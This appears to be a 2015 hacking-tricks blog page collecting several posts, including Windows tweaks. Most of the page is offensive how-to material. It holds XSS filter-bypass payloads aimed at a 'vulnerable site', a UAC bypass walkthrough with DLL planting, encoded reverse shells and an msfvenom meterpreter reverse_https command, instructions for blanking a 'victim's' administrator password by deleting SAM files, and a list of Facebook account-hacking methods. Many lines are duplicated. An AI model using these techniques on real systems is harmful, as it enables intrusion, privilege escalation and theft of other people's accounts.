Showing posts with label hack tricks. Show all posts
Showing posts with label hack tricks. Show all posts
Sunday, 11 October 2015
Just follow the steps as given below :-
Insert your USB drive into your system and wait for it to be recognized..
STEP 1: Go to Start >Control Panel >Administrative Tools >Computer Management >Disk Management >
Or
You can go directly by typing the command in run: diskmgmt.msc
Then right-click the partition whose name you want to change (click in the white area just below the word “Volume”) and select “change drive letter and paths.”
From here you can re-assign the drive letter it was given to “A”
NOTE:Drive letter of Pendrive must be "A"
STEP 2:- Start->Run->syskey
click on "ok"
Syskey launched: Click “Update”
Choose “Store Startup key on floppy disk” and click “OK”
You’ll be prompted to enter your diskette. Make sure your USB drive is inserted and writable.
Restart and have fun. Don’t lose your USB disk! Also, to revert this, you can run syskey again and choose to store it locally instead of “on a floppy disk”.
Go to C:\Windows\System32\Drivers\Etc
Find the File named "HOSTS"
Open the said file with the help of Notepad
Under "127.0.0.1 localhost" just add the site you want to block
For Example
127.0.0.2 www.facebook.com
127.0.0.3 www.santabanta.com
Save the file & exit notepad. (Restart your computer for changes.)
Now both website are blocked at all.
Just add anyother website you want to block but remember last number must increase in every website.
e.g.
127.0.0.1 localhost
127.0.0.2 www.twitter.com
127.0.0.3 www.santabanta.com
127.0.0.4 www.google.com
Thursday, 8 October 2015
This article is a quick, comprehensive guide on setting up your newly installed KaliLinux2.0 (very attractive new GUI by the way) for secure encrypted browsing. Following this guide will enable you to “surf the web” with your back covered (like a pro) safe from prying eyes (GCHQ cough, NSA cough cough) packet sniffing and MITM attacks.
Dependencies:
ssh server
gnome session manager
gnome session manager
Step 1: Utilize an SSH Server
# service ssh start
SSH provides a secure environment through encryption, enabling you to tunnel your traffic and transfer a variant of files privately. Directing your network traffic through an SSH tunnel will encrypt the packets, rendering any captured packets unreadable.
Step 2: Install Gstm (Gnome SSH Tunnel Manager)
# apt-get -y install gstm
Installing gstm is easy, it already exists in the kali repository, copy and pasting the above code should be sufficient.
Step 3: Configure Gstm (Gnome SSH Tunnel Manager)
Configure to match the configurations in below screenshot.
SOCKS (Socket secure) proxy enables the routing of network packets through a proxy server (local socks port 8080), thwarting MITM attacks.
Here You Will See the Tunnel You Named in the Previous Step. The Case Kali__Tunnel.
Step 4: Start the Kali Tunnel session
Step 4: Configure Your Browser to Match the Screenshot Below.
Step 5: Optional. For Testing Purpose Only
To confirm that you browser sessions are encrypted. Start a wireshark session. Capture the loopback/lo interface. Note your traffic is now encrypted via the SSH protocol.
Observe the SSH highlighted session. Now all browser traffic is encrypted.
Feel free to ask any questions in the comments section of this page.
Tuesday, 6 October 2015
Bypassing the XSS Filters : Advanced XSS Tutorials for Web application Pen Testing
Hi friends, last time, i explained what is XSS and how an attacker can inject malicious script in your site. As i promised earlier, i am writing this advanced XSS tutorial for you(still more articles will come)
.
Sometimes, website owner use XSS filters(WAF) to protect against XSS vulnerability.
For eg: if you put the <scirpt>alert(“hi”)</script> , the Filter will escape the “(quote) character , so the script will become
For eg: if you put the <scirpt>alert(“hi”)</script> , the Filter will escape the “(quote) character , so the script will become
<SCRIPT>ALERT(>XSS DETECTED<)</SCRIPT>
Now this script won’t work. Likewise Filters use different type of filtering method to give protection against the XSS. In this case, we can use some tricks to bypass the filter. Here i am going to cover that only.
1.Bypassing magic_quotes_gpc
The magic_quotes_gpc=ON is a PHP setting(configured in PHP.ini File) , it escapes the every ‘ (single-quote), ” (double quote) and \ with a backslash automatically.
For Eg:
<scirpt>alert(“hi”);</script> will be filtered as <script>alert(\hi\)</script>.so the script won’t work now.
For Eg:
<scirpt>alert(“hi”);</script> will be filtered as <script>alert(\hi\)</script>.so the script won’t work now.
This is well known filtering method, but we can easily bypass this filter by using ASCII characters instead.
For Eg: alert(“hi”); can be converted to
For Eg: alert(“hi”); can be converted to
STRING.FROMCHARCODE(97, 108, 101, 114, 116, 40, 34, 104, 105, 34, 41, 59)
so the script will become <script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 104, 105, 34, 41, 59)</script>. In this case there is no “(quotes) or ‘(single quotes) or / so the filter can’t filter this thing. Yes, it will successfully run the script.
String.fromCharCode() is a javascript function that converts ASCII value to Characters.
How to convert to ASCII values?
There are some online sites that converts to ASCII character. But i suggest you to useHackbar Mozilla addon .
After installing hackbar add on ,press F9. It will open the small box above the url bar. click the XSS->String.fromCharCode()
Now it will popup small window. enter the code for instance alert(“Hi”). click ok button. Now we got the output.
copy the code into the <script></script> inside and insert in the vulnerable sites
For eg:
HXXP://VULNERABLE-SITE/SEARCH?Q=<SCRIPT>STRING.FROMCHARCODE(97, 108, 101, 114, 116, 40, 34, 104, 105, 34, 41, 59)</SCRIPT>
2.HEX Encoding
we can encode our whole script into HEX code so that it can’t be filtered.
For example: <script>alert(“Hi”);</script> can be convert to HEX as:
For example: <script>alert(“Hi”);</script> can be convert to HEX as:
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%48%69%22%29%3B%3C%2F%73%63%72%69%70%74%3E
Now put the code in the vulnerable site request.
For ex:
For ex:
HXXP://VULNERABLE-SITE/SEARCH?Q=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%48%69%22%29%3B%3C%2F%73%63%72%69%70%74%3E
Converting to HEX:
This site will convert to hex code: http://centricle.com/tools/ascii-hex/
This site will convert to hex code: http://centricle.com/tools/ascii-hex/
3.Bypassing using-obfuscation
Some website admin put the script,alert in restricted word list. so whenever you input thiskeywords, the filter will remove it and will give error message like “you are not allowed to search this”. This can bypassed by changing the case of the keywords(namely Obfuscation).
For eg:
<SCRIPT>ALERT(“HI”);</SCRIPT>
This bypass technique rarely works but giving trial is worth.
4. Closing Tag
Sometimes putting “> at the beginning of the code will work.
“><SCRIPT>ALERT(“HI”);</SCRIPT>
This will end the previous opened tag and open our script tag.
Example:
Example:
HXXP://VULNERABLE-SITE/SEARCH?Q=”><SCRIPT>ALERT(“HI”);</SCRIPT>
Conclusion:
From above article, it is clear that XSS filters alone not going to protect a site from the XSS attacks. If you really want to make your site more secure, then ask PenTesters to test your application or test yourself.
Also there are lot of different filter bypassing technique, i just covered some useful techniques for you.
Disclaimer:
This article is intended for educational purpose only.
Bypassing UAC with PowerShell
Recently during a Red Team engagement, I got shell access to some user machines using Client Side Attacks. In many cases, the users had administrative privileges but I was stuck into non-elevated PowerShell reverse shells. UAC (User Account Control) was the spoilsport here. I hate UAC, it is annoying yet it “is not a security boundary“. I read and tried stuff for bypassing UAC and learned that it is trivial to bypass it. In this post, we will go through various methods and code required to bypass UAC.
The tool of choice for bypassing UAC is UACME https://github.com/hfiref0x/UACME. This awesome tool implements various methods and is thankfully open source. Thanks to@hFirF0XAs.
As I always try to keep the post-exploitation phase within PowerShell, I tested UACME and implemented some of the methods using PowerShell . I give you Invoke-PsUACme.ps1. It could be found in the Escalation category of Nishang.
Lets begin with the sysprep method which is the most commonly used method of bypassing UAC. Made famous by Leo Davidson in 2009 (details here), it involves the following steps:
1. Copy/plant a DLL in the C:\Windows\System32\sysprep directory. The name of the DLL depends on the Windows version.
CRYPTBASE.dll for Windows 7
shcore.dll for Windows 8
CRYPTBASE.dll for Windows 7
shcore.dll for Windows 8
2. Execute sysprep.exe from the above directory. It will load the the above DLL and execute it with elevated privileges.
In fact, all the UAC bypass methods involve playing with DLL and executable names and locations. See the table below:
| Method Name | Write DLL to | DLL Name | Executable to Use |
|---|---|---|---|
| sysprep | C:\Windows\System32\sysprep\ | CRYPTBASE.dll for Windows 7 and shcore.dll for Windows 8 | C:\Windows\System32\sysprep\sysprep.exe |
| oobe | C:\Windows\System32\oobe\ | wdscore.dll for Windows 7, 8 and 10 | C:\Windows\System32\oobe\setupsqm.exe |
| actionqueue | C:\Windows\System32\sysprep\ | ActionQueue.dll only for Windows 7 | C:\Windows\System32\sysprep\sysprep.exe |
| migwiz | C:\Windows\System32\migwiz\ | wdscore.dll for both Windows 7 and 8 | C:\Windows\System32\migwiz\migwiz.exe |
| cliconfg | C:\Windows\System32\ | ntwdblib.dll for Windows 7, 8 and 10 | C:\Windows\System32\cliconfg.exe |
| winsat | C:\Windows\System32\sysprep\Copy winsat.exe from C:\ Windows\System32\ to C:\Windows\System32\sysprep\ | ntwdblib.dll for Windows 7 and devobj.dll for Windows 8 and 10 | C:\Windows\System32\sysprep\winsat.exe |
| mmc | C:\Windows\System32\ | ntwdblib.dll for Windows 7 and elsext.dll for Windows 8 and 10. | C:\Windows\System32\mmc.exe eventvwr |
Builds Tested:
Windows 7 build 6.1.7601.65536
Windows 8.1 build 6.3.9600.0
Windows 10 build 10.0.10240.0
Windows 8.1 build 6.3.9600.0
Windows 10 build 10.0.10240.0
Now, to copy the DLL to the the sysprep directory, we need elevated privileges. The two most popular ways of achieving this elevation are: use an IFileOperation COM object or use Wusa.exe with its “extract” option.
Currently, Invoke-PsUACme uses the Wusa method. Since Wusa is set to auto-elevate, we can use it to extract a cab file to the sysprep directory. A cab file could be created using the makecab utility.
Above commands are there just for explaining what Invoke-PsUACme does. We need not run the commands manually.
Now, the DLL which Invoke-PsUACme uses is Fubuki from the UACME project with a minor change. Instead of executing cmd.exe, we tell the DLL to execute cmd.bat from C:\Windows\Temp. It is this cmd.bat which will contain our payload to be executed on the target. This provides us a lot of flexibility while executing complex attacks.
Above DLLs (for 64 bit and 32 bit) are hard coded in the script in DLLBytes64 and DLLBytes32 variables. The script is able to determine the bit-ness of the process from which it is called and uses the apt DLL.
Coming to the more interesting part, Invoke-PsUACme could be used this way:
Nice, we are able to bypass UAC! The default payload just checks if the bypass was successful. Note that the -noexit parameter is passed to PowerShell in cmd.bat so that we can see the output.
Custom Payload
We can always use custom payloads as well:
Note that we need to specify the powershell.exe as well. Whatever is specified for the Payload parameter ends up in C:\Windows\Temp\cmd.bat. You can always change the path to the batch file using the PayloadPath parameter after changing it in the DLL.
We will come back to more practical use of the Payload parameter in a minute.
Custom DLL
To use a Custom DLL, we can use the CustomDLL64 and CustomDLL32 parameters. For example, lets use the original 64 bit Fubuki DLL from UACME and use it with Invoke-PsUACme
We can also prvide a byte array of DLLs to the DLLBytes64 and DLLBytes32 parameter.
Ok, fine. How is it useful?
Lets recreate the scenario with which I started the post, we have few reverse PowerShell shells with no elevated rights. We can use Invoke-PsUACme to execute commands and scripts with elevated rights. Lets use reverse TCP one liner from Nishang, encode it usingInvoke-Encode and use it with Invoke-PsUACme:
Awesome! We successfully bypassed UAC and elevated our privileges. To verify it, we ran Get-PassHashes from Powerpreter.
Once elevated privileges are there, we can always elevate to SYSTEM using Enable-DuplicateToken from Nishang/Powerpreter.
Bingo!
In fact, after SYSTEM privs we can use Invoke-Mimikatz from Powersploit for using domain tokens as well. Get your Golden/Silver tickets right here! In case you cannot pull scripts from a web server as in above example, use Invoke-Encode to encode them as compressed base64 and use with the EncodedCommand (-e or -encodecommand) parameter of powershell.exe. You may like to use ‘-WindowStyle hidden’ paramter of PowerShell to avoid showing any pop ups to the user.
There are limitless opportunities with this. Although, metasploit has its own implementation of UAC bypass, we can get a meterpreter with elevated privileges. We can generate a meterpreter in PowerShell using msfvenom: ./msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.230.154 -f psh-reflection
I can never stop stressing how useful PowerShell is for pen testing Windows network. For example, we can use Invoke-PsUACme as a payload with the Client Side attacks initially as well. Lets use Invoke-PsUACme with Out-Word from Nishang. Lets make the function call from the Invoke-PsUACme script itself to avoid unnecessary complex command.
Sweet! An elevated interactive reverse PowerShell shell.
As you can see implementing existing techniques in PowerShell is very rewarding. It not only increases the understanding of PowerShell but the technique as well.
Limitations
Since, Invoke-PsUACme is based on the UACME project which itself implementd techniques used by malware, there are chances that DLLs dropped by it are detected by AV in future. Going by the past record, minor changes in the DLL source should solve this problem, whenever it arises.
Wusa.exe on Windows 10 has no “extract” option. Therefore, Invoke-PsUACme does not work on Windows 10 currently. Please feel free to implement IFileOperation or any other method. I welcome pull requests.
There are other implementations as well of UAC bypass in PowerShell. See thishttp://www.powershellempire.com/?page_id=380
To better know about the UAC bypass, follow the below links:
https://www.greyhathacker.net/?p=796
http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html
https://www.greyhathacker.net/?p=796
http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html
Friday, 2 January 2015
Delete Administrator Password Without any software
Method 1
Boot up with DOS and delete the sam.exe and sam.log files from Windows\system32\config in your hard drive. Now when you boot up in NT the password on your built-in administrator account which will be blank (i.e No password). This solution works only if your hard drive is FAT kind.
Method 2
Step 1. Put your hard disk of your computer in any other pc .
Step 2. Boot that computer and use your hard disk as a secondary hard disk (D'nt boot as primary hard disk ).
Step 3. Then open that drive in which the victim’s window(or your window) is installed.
Step 4. Go to location windows->system32->config
Step 5. And delete SAM.exe and SAM.log
Step 6. Now remove hard disk and put in your computer.
Step 7. And boot your computer :-) ..
So You Guys wanna Learn Facebook Hacking. ..How to Hack Facebook Accounts Easily Yeah And I Mean It.
So Here Goes All Methods Of Facebook Hacking From Zero To One .. .
Let's Go.
Before Starting I Think You Guys All Know What Is Facebook How To Use It .. That's Why You Are Here.
So Before Starting Let me Clear One thing There's No Such Software Exists Which Will Hack Facebook for You
The Only Two Methods By Which You Can Hack Facebook Is
Hire A Professional Hacker Who Will Hack For You
Or Just Learn All These Methods which i'm Gonna Provide you
Facebook Hacking Methods Are Following:
1. Session Hijacking Attack
2. Facebook Security
3. Cookie Stealing Attack
4. Keylogging
5. Clickjacking
6. Tabnabbing
7. Remote Administration Tools
8. Social Engineering Attack
9. Phishing attack
So Before Starting Let me Clear One thing There's No Such Software Exists Which Will Hack Facebook for You
The Only Two Methods By Which You Can Hack Facebook Is
Hire A Professional Hacker Who Will Hack For You
Or Just Learn All These Methods which i'm Gonna Provide you
Facebook Hacking Methods Are Following:
1. Session Hijacking Attack
2. Facebook Security
3. Cookie Stealing Attack
4. Keylogging
5. Clickjacking
6. Tabnabbing
7. Remote Administration Tools
8. Social Engineering Attack
9. Phishing attack
Subscribe to:
Posts (Atom)
Search
Followers
Popular Posts
-
1. First go to Flip Text 2. Then Enter your text. 3. Then Copy your stuff.
-
Do You Know How To Shutdown Your Computer By Timer If u Don't.. So Here Is The Trick.. So The Method ->1 1. Rig...
-
Note: This Article Is Not For Noobs! Learners Are Welcomed! This Article Is For Educational Purposes Only, Any Misuse Of Information Give...
-
To Enable 'God Mode' in Windows 7 This trick is running on OS Windows 7,8,8.1 or 10. To enter the "GodMode" we need ...
-
If you want to hide a folder named ABC in your C drive. Just follow the steps as given below :- STEP 1: Goto Run and type cmd. S...
-
Here is a simple trick for you that will enable the registry editor which is disabled by administrator. Just follow the steps as give...
-
Firstly, create a wireless network to crack. Don't use this method on others. It is illegal. Then proceed with the steps below. 1. F...
-
Go to Start > Run > type " regedit ". Once in regedit go to [HKEY_CURRENT_USER\Software\Microsoft\Window...
-
SyntaxNet: Neural Models of Syntax. Installation Running and training SyntaxNet models requires building this package from source. Yo...
-
Just hold down the Shift key and right-click on the desktop. And then you can choose “Open Command Window Here” from the menu. T...
Blog Archive
Text Widget
Powered by Blogger.












